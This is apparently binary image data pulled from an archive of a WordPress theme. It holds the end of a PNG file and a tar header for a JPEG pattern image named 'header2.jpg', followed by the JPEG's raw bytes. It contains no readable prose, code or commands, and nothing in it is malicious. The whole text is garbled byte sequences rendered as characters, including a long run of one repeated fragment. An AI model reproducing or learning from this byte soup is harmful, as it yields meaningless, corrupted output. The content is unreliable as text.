"*}l-,P>Z޿l25q~Сx/Zٕ?Mۮ6/qssҖ'ˏ4w8nׄτ)2>_Fo 2s?r2+HL!m,|ؤ+]׵KkP}.Fp@^ͣqpi!+f6=)X0~q7kSԧi|t8G_U,bv/wpK?/;Ć>K6[Ml⫲6IDQ%m%\yDǟS{u]|d n^WL5}ю#Ŋn51JbF~wDqEqd $0ߊIDN_{ jitq9!!)KT׹i3FO֧K>.Au>ٙ&Z 8܂H<b2zV⒠U٨M!e~)8.4Ioj)蒼gCNdbykBU 8o n2`7>~_`M5$6XʶMõk翌Y+x$ۼa.Ԏ@ ȢYq&]ػ{ev̝S$-y pp/*?r]p+\$H{g&w7@X,7q6?b_lA d[]Y G#gkzk c$eɶ.z kU܄+I#s;vesÝ wA`$N2:hp/9)nq`nE}H#E(z8FyVg'x8<йJ<92.P{*k:hiaXvzKrU&ӞkMY2{Wfcs :[ӦPLySgxԎ.ӊ%( .c7D\[ddm]g"\P ӴXpA:&gX=&su>Z% ^J7$;XDX倹7C{ows X?G2$qiñba̅E,;fl"aƐh1މԆtO.;-|4if}.%՛qE8 Hu%s̸)Gٳ~|z5.&((G-ȹ1a n~E|Lڷpw]NG!Ky-:wH6ŏ&'.xs :+n(ȼgOcmZb)=_[]t;cg~`$KnE||5F;\31SA {߻}]&):'?I%'ٰ#U׼ ^I:qP>5η}/|{ $bWPqeג{EHPCbO2^9è |j?h}jNLl92e]Q3lqz,5#mS N 8s|ݎύ%~v$ɡ˝L d5͉Xz[8lշ (`Ir+Fȏۭ8CmNfTBr{yt/$9f)YkԂF}v9h!%fVLN1 ,p:0ѿ^o^%(`eppC o+ 0{Kޢ@0 +'M>RP].K .7W_c$2wa+0e]1d'.x.LY犝 F,x2B,F+ŢsFCgbvҍcSk|sz#8iOs(_x:"+v8gUhos8:nbb]]8-1t/bs-^Rv^n#satw4XOHwau74ǻlf2yp-ذ*tpux*nGqp &UYhW>vD#!aY*4sb~8F&\XkvA1ͅSi\&]+.U^ (Ƽ|dOQ kAMb" ~G7`wb, h{E;BlOg""ϰ7K0w'+,sξ XЅ'}']ѻ\䥘g#^ٮ\C[,Ȁ/Ʈ[d4w;~w$w}MvWu٩k,0iɲ!0c. rr7sՒS"fO植z />'k`-y򟣜 /{v+ؒ#fCrwpdsL35d݄*X1(cu-AX17*ӆ2G;ǹ/vU95 4sEƮA!|9Qa' 3 8mr`m+kgleǘwvg,2n8`̠~i^q,nUV,':,0an07;8 񈅿^A-O/} pz8"?xlm2-(dXlc)WiO5Grv{6m E:Gz0opų;lE?K߲;7dyC?߱vɟǛt7F.m4à\!]d=6L[.K r55&Qї<|#a3/s?klxoyGŲ1`gwщ 9Τww0䐧b1!2VsW,ȉݼ[8$P EG@6S2"MvI@2 ὁonNx٥yD5Lװ &ЖGACmⲊ>gUqT?tu\g˾ߵd/]Q;8v_"%\=hUhCBHVw$Su8?2£l<DG3^x񰘏9D.KwU2N:͓pUE%h P1.ŀ$饱~~㼶(x8DNc!na~;8tgE;vIg=0P~s8$Iśy7V?ﱠIWFxc9~Λ{NMq'_!5g~z6ߠFo.ȷA; U[&_'<y2^*|>|Ő~.vZe;zX-3uXmC3'Lr9*rQ<7pFGJ8`."WvvXsFg1 H_uٸ&OupLa+%oDo2fL Pu v݄_I>T{D .ʱjallV_'yG'aږ uh>xM0h 8 _qv>S%"[,p/]k/2dY2,}L~2gRz\`|jK´X{v>^~:]^1 gc||;= #=\I95;ѼK;`"wK?rn^drKn?p/ b.?|YH=-o3nL7=#9wMx›B&⤶Դ~ח[O܉L_?;0臮Jo@"|:)soM#תAH h2 pc:2#gd:Hwz=rn5 KA^FNҭ>#Qoܑj~0_V:"wS$@Kt C_鷉/v+ꃌqp<|A@^ц79oڴ_投~̞gci+8u.AFyZHrm[Ʃ5R]bbkqՐzt Y~|5' '_@&m̜G!>*?b9B:ňAb`rq>+pl3|1' ~(ZO-usҜ0M<՗;@[h(3iL%W~-cŶIlËCd g'\ü.yo t\0[I.Y^WK])[#E"$DDsm (ўq`6dLsBΤE)#,ԂG Zl]r"h!Ì&?Y~6UEd=g}%vC-JWF*-]<, 0sHFovs}RP:M+t?A,0g5`8cKfث}q|VlF+}|czb) LwئovܴZS|b\$\{ )0;*:-(|.8>Ɇ~2΅`e cC##!svd[UTZ@_DUΎ&+ϗq gnG!Ϗ8%$h?ߤPs.Tp;';|Ű]# |9K<Ə və9Lpy9ŚsEFQ'sqGG'guᙜa'ӑi+Q ~dL{ W;q,[;]`of66Mx\tvr8~mQ_W3_6Fs mE(AA1ڍj}Ch", WlUvM8Í`3nLr:7XMb%2\bie XdHQ[2)d \ڝ+G~ øbl8#2}u6 !Vp#{!3 $}%OdjYd8,,3ppX%#Lr9|8$TɐLisN{umGhm@6 r|3JYrcKZ!Ai7B4 i2N_9Qzl,pjWfGnÑw2a]N06:\>[<ٛO('ЌxAlH)gu  23d`& ?Jj%srs!Gr~#bX i9qD;Z^݀{M[ߓ]_0 {H!vvFlsq iD:) wI1HW@ 3̱5 [ dx/M' 77N:c36*H8`m[,ƪG#Ѝ!T,}{nOߝ@y .z̓kWAg$7N%Y^Ga {m\jqM_;+m\quXG;vg3Hʱ=\\E]q|9[pY< (sŘNr8ϑa=#ldرϘ؎sŗk\[>$:OKD)~53f.2o?~'8+duGXt*./ah1" /6~u!rV` ~ |Nny`As]@ :q_79E(Dg|VJϤFZ\,q&Z[[~Vge܎iaataeV S̊Gq,$?.F_A7،!v"z_*mtt[0Θ+b`pv%^2\>xf܈ġ|%>kDMZ k\@ld1cf{j F Iq潋ӻ<> Ϙ: [}Hl~79#ߛC.,vP޵[|lPwN'@rkS8s9stәyd(XA F*ϐ:u 28@zIɎ8`;}ޞљl\@ ^fXa8%Nٲ[?,1/#QnR0,fI;"<~)dI~s)cWtͣ?;ڗ}E#LlhH^a_)Xb/x3rJҳ;]Q]0)nqGcq뫠{f)1ap|zͯ5>.oOʅ b m~a3qRAs9x<( i>Y6LdDs< -%zq88Zrq6ϡ+Ђ|"s-Qsn΂+z. l" +6{k>8/Nj`å1$t++H|Zb'"|<.[ERTaf ^peф5pfG)֌b37Ib\!c=v \K%|soM/3cga~wS;CH7H#|O7MQڢmAjm  .?Gn_tp-fgRF=ˏqnx)n1H+H(Ůg3^+2ၵzo m56͛Crx$wD}0gumC?+am~ӿ~:j"1g?p!W-DDEYW눬2^{i-[[2>2]J@jd䙵}6 PK̮+El0s9( 亻pF nB7"رP6nA$;$('cgGaAؒTWQj[$,rY'!͟/Jg`llt/pc~sl6D=O$Zgtהw$j{}ſ_lr-dt=J@(x4kdwQGG9>_83/ KVws&?@IDATe܊mWX0rp@"ybw~d^r?r%1enA 2vW< #0"kayscqqð#*sLn];׭`[kXm]7= O|aww\cuay=O8nZ?Ŗ"GsV{ ^75qiq$ocqAc:Y078{COq.T:6q([}DrOdbDi_Xt8 & ɬgG7ӧa{9[>r";ׯϝ`tfc]m<%KK h|GѮ5T[) Qk0ҧkcdKD!04_3̇˳!ŕb]t(~׾AbCP n+op4÷[%9'ml`D[Y2م@z6]]NLvtn NZKK>n0+ `r~pvM`#&#鹅\f^v@r{ͱjkpmxp@!C@SBb}Fȳ:3ONKnəQcf4d޿t9 1Ya >IhN7vz<Dp/,f8d#rdӿ;H3UIn ؂DREPm-g`R+eaYy5=0oY=/BDƜ.LϻJ\|6i,Bz6I-pw;Ad#j3?c/63ο-, $}峳 fcVƧ+Te۠|>/b9 Գa lG~ϽĀacs}:$mbyA-%s7dxhʕpCFkLl2vvײݕEN|.6isEmPE2 'eyNΖW2>N]{dT< QVx0\ bh3@6 @.$85/5Gw,X`Q8Ot4ƹR` /<[y)Yp5o=Ztj,ADPa{Z/IE&WҧS~zRYUDa? %{0O}4Ssw;_s nR-Wpdcn\tw|O:0pWX~_Mb\\D{%svF$}o,[c$=%0dݔBx.]ўHܽ]8w×ty Dϻ]r~.|4NCƊ!9aX]mnÆƵ\N^9g͜r|6]G79r'O[1AW̗c68=|{:wyviA Ō'ur>)L`X2"Ess@qKidK2D2Z]mg2Kbm tLl Ʈ*gh1A?쬃c[8;ck}XC$x7ֻÚiu?}}zz,/Q/a `ۊnӍ/-IGx0nn佷e{nQI\Y"ݓ#A_GMi"g@N~q-t=bc EH\jgnGٸ!d7b}6="i+xO<_C\7}d vD% lŨ׍LyA eRc|ء\z[lG4(E\S<8sa˪'5ZNw'xo~'ONűQ%]-i6bWDqm^62n? &qE#>r^?ַ5BdRJxr؁rE#dvr?Iρo`#[[ d>`C*?XiN,Xd'WAN%dN- /D]uZ 76TaUA2hҴ׶!ܱ;XU'<_-,`6xpo?n)4Gŕ;csL[3VX.:h:7l;=,_i?\àPmD `_c? ڻ<^1wp*x37鹸fGs9pv7xYTGCb_[}0؆vqXP}7xՠ-vfgCˡxx]g?5ɩ~{eWlbGFǫq0ҡ5@2׊[uv)Ԏ62޻CqέC ޾>_N/Q+%p= ܂9Ev0qN BpeH sq ɠx;ONfp`s\ǩ"vNJux޼L7:dUPp^LW϶7m{ 7>h;&g:,7? ƌǭ[*δ7ҵxۮ0g[ rfFeROE[NOpjv0 /y~%yvm_Nqfb {4Ex|*26IŚoD )kg8 Uo3WsDy `ٸP//l?!6\9]r>.ԙ+la9vn>'f9`؊oaF>`Mp VQFA:ҟBm%9!-HҜ~`z;&cngckɵBD~ۍ/дs~8k\/P :9Wp79ig[WC}lQ999X P{y+(KBx$Q?9u(I\{,\͹@gG N"r!q(*^9xNw/c|<bksXmO|Ul=i:ӷ䖬vCiypt99S97qח"0.|_z7>kRs99+.bpMk?;`:O-:oWDw̥_ǵ}.ǧp(b,Ȯ\g7'|Dmw1pr" @1|h's pZRnC.aBkxp܈=mOSW%GN$Z3} 0s' huDBtE&y >L6bAʮp$3!r钔ȫX@Jq#t4:)+# w8zk];%IS(SKu[tpoE_r]~,APw6s>{ yh\X!/kh\TFNӹ\E^s[xax -vcv$a^y ]Ok~-{G#[lq(8˟`b']%t+P%GOml+ܓ+qaW Y;ScēbO^|407bMb/Z5=&Cb]k[Cr/pcLqu^e5fbRR1m3l">8z:lv^0tfۜt^%]d|o6x"OӾDd:=w"(,ۭG_^;ί(ו=v-vc Z-@hWoV3 9ؕM^l?K'[?6zb pu1#>P>f_uFZG;./>.G{G9pl/FhqMH]ڿ]t}N1 llqizqKDl..soӋ%M7Ohacdmբ@ּD. ?~.7x^na\ko?QU[*a7>:pɗy0ʈY 0i)M,93}p^Uh i~92 aDA0.;5fP $y+ھ YvEUFtޒD.N6hn&1g,b3S28.cgi.r܂!!hfnoV#Zr$'?i-a]md$]/ȶӁ V,NUtelt ߙ?;|0=w.F&KC, `|g ;]'BJFsD]d-W~qX-2y=Փsh7d/IgA}Ew@z.pXmt72fWL6`yO ؐy<2 [p߿r֞٧}Z5'QsD\m'@ȕ90Dwז2.qP7oCG Kd3!HxoVj'StG6|޾~,yg 16'慨.\DErgvϙ\<9{=r|6{b]C'Oj9p#vx5 ؊pF&)8a'ˮJa`ݻ9Zůl0J vŕ&tɖ[D"꯼ no] ;ol>982?>ųw/;V1KcL:(͕Gr|> *bzV- (P`slpm~pvD58,e7a,0btmaG1/sc@:ȼD0s1^p8q xԖ:=Xa+(qwY0,( · ShqKwiz ,o ܳ ݅y9s]XK I/va Kg-a)[!Cֆ7Drfoq!iΟ {6c>:=" .tvNweL4d['0lmܑxez89O?W9]g l?]Drt~dpy9,Ky= qn=xqN&0'5Fb}'7~7W;tH ?ѷ*x3Fk٬ Ɣb|FVB{oEl <^E`aUe`"Q&xP\׿|2d j&k-lۊ{4v+>W畐NgsZ$./Gcp#\+-NULAb}<]\ \d, }16nGo[Xzv|V|ňݏ'wţwJx1Ix3bv1,/x/Eɰ`>6~ `tw~I9_N8xIVc"I^9 dbywSٞD18Yuua9_\ K-k)<7&Ubw) yEŔT~-Ex[DV1ȯX+w2WNߍ~(@eL7l̤=}mob^Ɖ\s%NљW7Ggz.ɮ#ceŤ$3*` [U #qbf܏sSIɡ2d置9B vUkn.ie36BuuߜFm~(:/L=7xCɼUCoՒLIP{x">Pr848xAW5]g~MBsGBggomf@k>bC,kO|p֗/w93<"IM2`w͏0+t>1'6YlBF_tIhۧ2,~q49R (y"qm^T!ޤ|Sy +κ{mYB8ƿ3$6[rϪI%pvٸ xZ!lZnwm|?xA1o߅*.*G\v!ݵ7"ۜpށׄv'"scәMܑS^llg3vxp㽾B=,-t׎8#[8|˷?l,9f1r<^D^te޺?yZbxuV7~ϰWGq.ZXf_t=;wa+r (BDG_?bN |0 x/?bP>.U^$I$Mn筧#bYeE^D/fB5#)(/[W |A`׊B ݭf5V Ct&kǜ`8dnCc~Fgϝ@tst001D/g7 cmd@ʌXb(aІe ܎T7NjLŴ́|EY,*']Z6OWg8$Dn\ȵ#9JiƗf+M,)bQi+AG, Ec>'Ց~Oa`[jj|=D o'yZ nl4xz 6M~&ƽH>:=c|eL۳Wyoꃽg_dIܮ6y{w?gUcW07_} UI`/?P ,3AB,]EoA u30E/r~o!$iUAVPo~(dY=n݂DHj+8%D+X[Mb>4 ~5‡3ѷl*Alv.nܧavdHO70]N /xtDB&eu !$F[pb_\tvmO~%NfE7}$97OZx]C87Ef[-0 m} (BSl^`QY]5ИR93tIƋ6e.<Ĉbu;.Vgd}xDFneƴ֌Xׇ<205үS m3/<^ֻ]{@.=ō>5ǜoJ>y&.~oS4\=U|p,e<)z nWX"~d %&sT%=k*|I[3H$ & ͤkKcksxppxlW։HG_X|Io:v$;%DOGxft y%uxىO\l[aNۭ@.aF7XI&X䡑d!:(49|՟9G hxQ gf(H7ѱ( qa{4boeFMa25`cێv;8SAc!]D+"N!ao?9CIOލ+vkdľ'х#sʛ>䄆\] k60_mK-+L+t]t"YReu6'?׊oto|HqJj,.jMe[#b SEgr~ʤ#_o碿[(Ԃp\.[ &^"(` .Ŋ $U:>Ct o mR|ZDi9<p h —ZH.$AF_t|tfKP|p;{ Kt Ƒv7xxBѐ)muWxA&_('P?>p%dkMEsxd#(Kj]>kbb)š,֌)t nVa>ҳ2-䰋'o~}a^`bxWE"||8~lǫogIvD~ 0*4lj`OlN+t4)n*ŦW#Wުw'ėMt{b\}te\;=:?z+Ͼ-F8uCifpN"O*  /^`/MXx@۹pesdL.z,0]Bs@.012݋Pa~?}']ICc\n4N Å{l Y3)tg1GAs`ck NӷB|;'@ud7oL؄_@|.y&qJ>aw Q1V=VnmNR$̬Dg2ToΟvoA /1E+JlX>3aD|I{CG|J /Ʒt |ݘZ}̸s:ø®Xvь@6 x@tK勮Og'ƫS#-oCR'6ϧtt~]W fGup5`{cʷaD/)k EvNM0mɹxB+vPzB.d ^:E QR g閾 9Pdu*C :9[ 8N_A0N;9${ 2Kd҅Lf2Vxo O`;v-,߂D X3*S桛c]utQ=YX+&9EɟqX7_-Js8xB~JAyUXMeX҇m P{<;> *;}r,} 5<1l$}Rfy\G'x +x:gGsUQL٭Nt0ﴞN}W Äՠ#Ռ:naXz)fgPb] 8Hx1?X As7!+Pp qCl1'Ī 03d0R]VVgA<#[_%0Zh%Q5 2T@_!f\`8|lb/wR@-#E(cVRCbIT]gCB;4Y”,KJҥ-X N,]l.,9K;ߣA'trY}D<޾Ƈh6.!rBILe]@oG`G>-zrȇOr<;׿VG5 a|:ogȄk-F%8\{Aoc3:S[ޘx3xUA1:t̹ZcyGR8%3-v!Frl.\ UhSyg+W2-ݨdN郞~/kt[<Ѯb+n#l1:ɻ}DT^5Grk5 )c"pREYbQkEC81vXs !X@t$VTs-H[03,K27p6uKl ]Lۮ&' \ cX8oEaU| G.߮_bZ^rlsI7,1n/ ):d.}/Œ El񨆑POFg Y4X;<2T}-,rn7]Hm7)Z^Q:X K͋"OL#_ܝ ,Ħ)+wO&Ȅ-B_ޡuc4lmlcN/ sV܋> zŴv`8art~8sЫ-9oFt5g@8\]M T0  IuμGҼp5z.};}uLd@oOt4NJYkp8/]cK&v7m+d APtM(qA{k#{?L$/+u,lxl!XK%8\a~ ^KΎ&oIXwAgd\4q Ff0/vcc+$_eBү59St<1*L,l@-c~IWy͞[4;{Ӈ ~LmPkG]m#wMQLm8,[05zZ8vI0}*vAT[ọ㰔Wc1@G!ǷబC-ogLld\SPڂsBw`v74@]𹦔&x` jh Vƭj'L>wϏbyܯ1wwɡ#=H AqWE ]hV>ܟ>0]y8\/tk, {Ew g>N"Q >dGdgN!~Һ[ qXSr5vrW9rhf uϣ߹ՒX1裂_bH =>¾7F'5b #8颐~D58w7y/ow_yb/\7[C2.7}qN0^'6Bbnr)R[3rJ |K(>5.Kko>\:O.^`d\&Hs g`0/g tz}+x(ѹF!`'LJPǧΊNӷ5[)'aѤ }q8`VSz愷y5I1wwG5mĴ:EG7/6NdA_/7$q: p4bO&) X pA D/|G+̻NUWdx'6+;cP/ -7AB#EvWPxn!15PPӯs]c`计7ϫAA>Ula7 6ƴ N f>6服?y1Ʊ7 \ ޽+~4z}[59Էaņ199H|UX"v0qt 1&ah?}jS.RzI>C&>ZA_t o2`C}w4nx(W?'F0Q4$%+WyGncS2Wf(l:lśL6Rl(E>prKl˻Ӈ~ZϫB_4'.։eEhL^x==qopf\nJ(xdF@kHh1*"kP+sDWۓ1"0NYĵ3Gv3VvZbAY%Vd!9 v +hrN^XlγG.^!XCBcxntNFE@ѠS؍́|a3f]{O|Aƒ^(98@Ϋc)} l>O>MX]gd5lq7W{zļZ!h\Y[7Lg]+.[³+*6|"h'/s+χGsI>|󶫎 9⧻tm >TA!,rq5>9F>d.Zϰ#3]_-Vn:lo%c݋760t #NY\Pd2'?`!O6D^\/x} eXsֶ3#>WIW㋶+M3+f{{x]-B?OrhؤYظyٜ]O?t͋xƳ/<g5=cg/ęE3tA9]\EWc_19~s6V: g=ˣ38a`sbL/\",@#~~oajLANh<_)_yW%bn4|¬lC5SDÐN3ǜ$mY0;`E݆UgL P2;+ċ\LD{QX Q /-wlxrFwq&g0-P:%^[/n,t0^9}c [(jW+K:SQTaAb}lN1AF} FqXa~Gx6/҇:g# ez/f~suOϳjln.NjU"5ްf7 ݆M_%ӏ^jf><]/q|';qS dSJ?(%휻 ӿׇљHxwxHxѹKH"w;BHU9`vw}|%f٧h^H>y5`UDsUPC1<|l{ ku0zc^wo v5q[n/a+M0cψDt԰2Mt;`(ȩU#JO?=m0իɞ=Cظ"gTwV66\1NLϐ|\sg!-;-`/ D0nv-醦;ɠCgn߼1+&ӧߋ Xk\<#.ټL3eG9]+N[Zk\ 1vl% W)` n G\`b")V tYx|nW1ѣ7pI:_X:PH,|s=~y>!]4lsP~Cx ex 30rSσ%#};tMΩ+"_:gymdttXE{"ot_!]" &BN*8] /|pC]cv{fKqˑJOe^]āe)=Dž'C%8LsOڀRpKRwљl7~psŏ8xL:9ŌAr#GOF]5JӠ 9v\/E_t~4NLGI4]xX$6._R1y46B!}u-dKsE!L _ 6qB7'N*醧asM:rc}&5QFEbμ ɇ9'O6FDbJ [)*|Pv-ZbY)خh?3xlӀdol1H)[-BaջHÃ-֟.·Z;"9=ȸ Ffy(7C~Cs\4+!vw76gAj_&d ƠNp&-*){jT[EB, ؜9w4~K1C8fEڭt;/>(9{爓/g "bR:#*+׵%cf+`^b$joi .[cfLxGafD-\[Z~Ƽ+Fghwd<%Zop0=tFa'_3ż6 9-OYjSs8tRr`ϫS!Q§FPإ1%yFoQpyzlc4q֚*޹f~jB 7})x^meᏏWc̏!lQs8`*>=M7V(je ƥo|,6ƀ1Ѐ9-(9,FR @Tfš7^*]&K8nWDǛ>-;YݮoWݮՔMq"=4tArsE)T se!;ݛ>QC/lZҿXdcr9[$&.~HW[Mb%Ai?S& :{dF] lW!K!?#G?_(-Vo^ }VFb>ƇY 9r_үKk#|¯ ~Cg s1#/{1J\q_3?cqq wsj^1MsYx[X7fQYkI 7_b[L/k`Č=Xov/v7B/8][K MKkMl~ӟ{>$0QY_3GOPnMt3`6mgPmu$ o@:|C߂#e>>&OrHzve7g6YCspڣy2n%`e 34pJ5ic 9SȤ~0 sڃpW>^T|?Md=[[Hgcou*|I*(1~vupчq+^AƳ~6yc'tzӏťHBf6ַ#ox4t l1bˠX&j[N4-kӆ*xÌG>]ox--\ոT FWՋZy|X}B͎Olэͨ9R+tr,qwy> 2q7یu!KFxg߳ųǮ0kGG9mK؉wF)~"# G4Vc x Y QTq6|1ʌ 0Z9 Pފ X቟⦛X}[3wO ՓOx躃~:Ѡ ]*3n7ѕ,l`_Ƨh{[wd&|+v+ϑnnpċPՊ[ng2[! qV5Go.U;CИ$NvmL~ ^MK7qk͜8;*q9;-|+:]L=«(^UPC(־nD˧(취Fj%ry>0sś`D{ܥrvKU2ѧՂMMsMsC6IH^mZ^~50ċoĬZX9j0?p5c&kB"`IO!̀(c."y$ ()裘ctGw g~ OOGf (2 ,$I ޱ`5ZHZ9F EfK9aڹtdR?p<-^>†bQ!x\# ]5:zuqocv0^X@Ʈ$A1L?Y3=\=c;G R|۹{o:-PldG'><ClMVez*[[2]"Vwy:OmK|WF]K+Cg3P=9(l t7k|+t+Hũn:,] XsէiL=.ޯ,z7sRE_".pʯ vG(5x,hYqgwr*hsm -cÏM!X޼ 521(~c%xRn2m<Va@&8A9_EF1o\ 0kaϱNyYe}r i z ߳ fGeLإ_嗳wOאZvt]4:ф4k2@$rjEI /!uX =ӊlE7Dșyux"Q_ß,/16ٚ@Qb'I!-< @+fT 'c̯C2oL$к wt@ҥd?#&ج>f4) $ G>gmCS;2I )6]b,697o-xmedw:6zVWӯ{dB;3% 7nc)t$ˇS8;)B<ʑ.Ol~\RW(E ̽b)yxK4<S5Ɨt udxdSØYdw7!t l{Y oq>l»o`fԠl1pyxWqvp᜾#\lx|y.?ztrmQmͯ4=cϗt3v eyU phXat0FW/9+\Ҷ`I|)qo`9٠*^9 }WFO ?;@s$_(3BGhE7T`.R6óB &G([|5_2X L ӊBSC_M:<χUަþ+,Pvi~@q>~sfon㜳=[?׍s+{s9_&Rq_lnbd~ %[I"|K > tsgɈ$ ^WHvG%񛉵l$C6q5;0  cj5L8 3B::'E0]oW<Xg7h'dj,6vl@  NKl[QW2\2TliiY13|\ ËPqf iW0h鑹xч;HWGDOl;+,Hnȉbp/#o@'cd& +択3|rNbc #u+s"~EA02+(l, -~,DOɿXG/*Eo4tٷpYc);b4nb7k ٴ7|r&ιaci'+Z_3du7}aZ>Y̞3Nŏ#4&q׵y \:? C\ӱxtX{1MQf>7?k l~1;팯s(a 1`X=A :/(-Z29`9N*dHx>7}[]~nY2m>@w}W1vy~I`dSuz2PPs<29]HܐFY8B0g~k|h#^?dTN/:ؙCB׵WW@gWlv2dR7K{{9Fi7s3ǫBCMv p">)9> by9M& LK+߭MPD$ FS^v^l kd6>#BCXWgL_ l|[^3LJk70Så!c=Ǽ-b$ _ _gZnq b#6s~Ů.f1略nɻn/{Z$VEKd;s$n2^nQoؼY |=B#.){/}o`e@ ^ N@q[ txEEVaԠ  Vo-cf9sޗv_sJA]qWٙ 6E߼)Kݚ>x a+# ćWQk!i$|cS9t) 4IO/c҂Ӆ0Ȥbm& ?)}bcWOei |й^ Nbk' ?&㰀faidsB4G=}K뇜+ |ʧxӘžTiXuQ:Ȣk<ZzGg_܅,xi)CV\a[z\(KVE6~4ENje*xZ.QsBՙq( >/3$/ہ#ӎi&YΣ%$OΏ_WD;/K D[#}+r@Z l#/O+Bŏ4ɯFwG YABX;8z1.0;+VG.o+W[;jtoS<§b{EfCE&.fڵd IENDB`Avada/assets/images/patterns/header2.jpg000064400000037177152342437710014232 0ustar00ExifII*Ducky<1http://ns.adobe.com/xap/1.0/ Adobed       L !1RSA"Qa2qB#3rғTUbt6C$4%u7Qa1!ARq2"B# ? 딽$V5X؀Aa3j^ut{J΃xYpw7T0Ľ: _->7q/NxKO KӠ?Rw7T0Ľ: _->7q/NxKO KӠ?Rw7T0Ľ: _->7q/NxKO KӠ?Rw7T0Ľ: _->7q/NxKO KӠ?Rw7T0Ľ: _->7q/NxKO KӠ?Rw7T0Ľ: _->7q/NxKO KӠ?Rw7T0Ľ: _->7q/NxKO KӠ?Rw7T0Ľ: _->7q/NxKO KӠ?Rw7T0Ľ: _->7q/NxKO KӠ?Rw7T0Ľ: _->7q/NxKO KӠ?Rw7T0Ľ: _->7q/NxKO KӠ?Rw7T0Ľ: _->7q/NxKO KӠ?Rw7T0Ľ: _->7q/NxKO KӠ?Rw7T0Ľ: _->7q/NxKO KӠ?Rw7T0Ľ: _->7q/NxKO KӠ?Rw7T0Ľ: _->7q/NxKO KӠ?Rw7T0Ľ: _->7q/NxKO KӠ?Rw7T0Ľ: _->7q/NxKO KӠ?Rw7T0Ľ: _->7q/NxKO KӠ?Rw7T0Ľ: _->7q/NxKO KӠ?Rw7T0Ľ: _->7q/NxKO KӠ?Rw7T0Ľ: _->7q/NxKO KӠ?Rw7T0Ľ: _->7q/NxKO KӠ?Rw7T0Ľ: _->7q/NxKO KӠ?Rw7T0Ľ: _->7q/NxKO KӠ?Rw7T0Ľ: _->7q/NxKO KӠ?Rw7T0Ľ: _->7q/NxKO KӠ?Rw7T0Ľ: _->7q/NxKO KӠ?Rw7T0Ľ: _->7q/NxKO KӠ?Rw7T0Ľ: _->7q/NxKO KӠ?Rw7T0Ľ: _->7q/NxKO KӠ?Rw7T0Ľ: _->7q/NxKO KӠ?Rw7T0Ľ: _->7q/NxKO KӠ?Rw7T0Ľ: _->7q/FYh/g RpĽN=zQ{E{Z~tݫsͿ m[g/c,9b6rCvo9:6cc!!]bnfm[el3r51պD8G3!0JL[sYr:r{3ţk }o95nn]tO5djԒNN%nVfwݜN6P[$e!(9~ ͫ )ۭrVHטX⑵ЅUW͙F"ni$7Y7tf U\H&8IgB]U2}'n^~*Rd$xiA}ٹvfK]x\ -9lܺk37,)r1[v+~)3%76ͦ : <|N^V~԰[ܸ:^LXLN,6r9Jb .L Nv6Xj Vmku$8pל8#.<4՛sࠩ^ܶ+rjzyyi%;Vc VNfubvw~m]VRu ěV/[OZiKp^s9>lgĝwV)DWd`{D#kckٯ媖* ޑ&ot4ǎǷD ۰'[oVZ* ~'gBM$GeѦ+!%~f:XYpwuhf+v׳vTHcIȟG_3p&gmʎoe_$Wj:!r>B$/! VPs@RTyoFs՛JF%{gh#1 :JPtY0Xl y,%$$s:ݲphg⪽,q>܍l^fWf譆xn`k#ܖZ3qfԽvJ 嘣tb:1$! 31gڟaI]vԆj)_r}#͙+Q-6:,eő#vwv3Ww1TnXlBomFv"?k7K uPؑGeS4:ef(˝.ֈ"xȣ&D-,Oj/e+fԫg7QЁ3MյJ~}y9,ֈ }ɢvǃjJ C= m Y,mF>jr7<}[rEĕ)ic֬q#|4~ l6TqcÓHfۦX>} VؿgaׅƁ r{?sJ yϏ;zheφ1Ȥۖ_ )G/dxl)r "3{_;c,x[)~KMsZATfb2%)n=5a?ǝVQHnJof= vCBl # gwn+S/bܫ%m1 13~8ڙ+$6RH-(n#+ 1jVY?_ ͧqX2(˸d,JX@18Fݚ%'V۳V(14yӌIUc--½vۚPxuf&ggwQL503S-&9H{d{;#3J+RLS1sIX N9+? pf>peF0gHekԟQ`[>|y(5bk!ܗVIn=d؇C]dEcoϓQU20H>35nV0WODٓ99Oh܉ɹfPlbꝻE b=94'v-GWDԫlF/tI ٳnZW#Fl)G)<~4ԮE;jf-~)a]Vz5+4c'-vĝŹ_Pdq9 { a$Ґ'("_qgFbo8w2׹L#|a93Q?rjū:P_l- UrquY r\D[Fpe՚h D{>$oo,#nj0iYZVWXb^e,hB۝>S= j4 Gnc=x*ڹ s)B"5o!v'0(Yޕ>~gy)R\NU"}H]v\dA d<44'w>v}UUAMǀm]. 3^:εD`\Mr913:w%~W,(an62I8\PAy%J!b"m?jӟoOC*$djZp}i9u}4skBekR\Ehlɩ ^ $|R" 逘 1ӊ vFX[Mp^ ,O;6,j՘F=vr>Vݸ GZr!fw.ݨ*pBfq|@_w@ QFCfO_ꂍZ dL-}]XYx#qF']A=T.]6;V DyGEx020#D[Ffo3(*?~Age. 8 UkDQBfw:vEV,MA(abx,Z,Ts f`>VY4}8 VS49vٝ~,UD306 jb"ůnݨ.bbananQ}VoZUk   ]+CccvkJ Q}`pn :PF\GOѐ\u38Ď?N,?߱^(Cs~4q6d m^l c"7 Ҷj ,"N`2EmZTsPHI~LrHWmc7)I{oTrqWDR g6?u6j1YI)k$FON(Y-Y=7NX+:S-ЍmZѷ ,EL_;-RtiZ^l۫V/vZ!0R>RRiz̀a L`MVvUi[ 慦^Ai7vqnݺ6t/`'C88PgqwmY)*Uz i&(b9e7amH߃37kne'}Ê! tq'fPI;q~" ;FΆnu6b ˬlm9j,/ܕ 2&4I^p&Le]յ]j}b(OD;3ŝcfZX(A^!ri [ȋFfAS ,Cbt Q+3kŨ9hEt(#r;m-LZ+R3pXR3 ;$D]Ign,*Ӟ½JRXBamH߳FAs!֩,<0 yϷد~5U #N9y 0v &gng΂"ݛZ|Q 0L/ͫ?Dt[Z{c>SgA?_8- FS9YIO4_.Ov^7OA! o]_?ٴr7ɸH1Q7Cfv)UțKSP,PW!:I4!1(~J Wl\60j䧄m\{ȇљZԣs9KlAܞYVq!,g#lz?ӵG;-Tc6Q)' c`/rawR_ܚ?p{Չ"۸w!E|/]](%rbU=z-b57bd)R?_Xm?'8@7'Q~a՛Oyf2i53ݧaqg4WZSO&7ֹI0ۑ݀ٛ]Yi._5vҖOlakЖ_zHg"ru6z,}U FEq7l@$߱8󆿣-ɷ/Lm{Wo%^P%+k%V06Rezڵ)Z6.druG#J%)ϔzHдYV+Si_WL-jVEw s "?kJ޴ʒgrd (WC,p0,MLZWd[SҼ|d+L-dǟFvjqYh@An{?\1F*X{WZF;Q$4A?!~r./Ff7F 4rҩRI"ϑNϻO+dpU`n<gb;'@9I˘;XI.3j 